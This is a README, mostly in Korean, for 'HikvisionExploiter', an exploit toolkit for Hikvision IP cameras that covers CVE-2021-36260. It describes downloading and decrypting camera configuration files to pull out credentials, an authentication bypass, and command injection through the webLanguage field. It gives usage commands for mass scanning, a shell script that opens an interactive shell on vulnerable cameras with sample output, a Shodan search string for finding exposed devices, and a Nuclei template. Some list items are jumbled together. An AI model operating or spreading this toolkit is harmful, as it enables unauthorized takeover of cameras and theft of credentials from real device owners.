
HikvisionExploiter is a Python-based utility designed to automate exploitation and directory accessibility checks on Hikvision network cameras exploiting the Web interface Version 3.1.3.150324 + CVE-2021-36260 Detection
HikvisionExploiter는 Hikvision IP 카메라, 특히 펌웨어 버전 3.1.3.150324를 실행하는 장치에서 인증되지 않은 엔드포인트를 대상으로 하는 강력하고 자동화된 익스플로잇 툴킷입니다.
다음 작업을 수행합니다:
연구원, 레드 팀원, IoT 보안 애호가를 위해 제작되었습니다.
/onvif-http/snapshot 엔드포인트의 스냅샷 노출 여부 확인/System/configurationFile 다운로드, AES + XOR을 사용해 복호화 및 자격 증명 추출/Security/users에서 헤더 우회 확인webLanguage 인젝션을 통한 PUT-to-file RCE 확인logs/에 생성ThreadPoolExecutor를 사용하여 수천 개의 대상 지원pip install -r requirements.txtffmpeg (선택 사항, 향후 스냅샷-비디오 변환 기능용)pycrypto (구성 복호화용):
pip install pycrypto
git clone https://github.com/HexBuddy/HikvisionExploiter.git
cd HikvisionExploiter
pip3 install -r requirements.txt
다음 형식의 targets.txt 파일을 생성합니다:
IP:PORT
예시:
192.168.1.10:80
10.10.10.20:81
python3 checker.py
다음을 수행합니다:
logs/IP_PORT_TIMESTAMP/에 저장취약한 장치에서 대화형으로 명령을 실행하려면:
chmod +x shell.sh
./shell.sh <ip:port>
예시:
./shell.sh 192.168.1.10:80
취약할 경우 대화형 쉘에 진입합니다:
hikvision-shell> uname -a
Linux hik-cam 3.0.8 #1 Wed Mar 18 ...
노출된 Hikvision 카메라를 찾으려면 다음 Shodan dork를 사용하세요:
3.1.3.150324
Nuclei 호환 템플릿이 포함되어 있습니다: nuclei-template.yaml
사용법:
nuclei -t nuclei-template.yaml -list targets.txt
다음을 탐지합니다:
MIT License ©
자세한 내용은 LICENSE를 참조하세요.
Telegram: @HexBuddy127001
교육적이고 윤리적인 연구 목적으로 ❤️를 담아 제작되었습니다.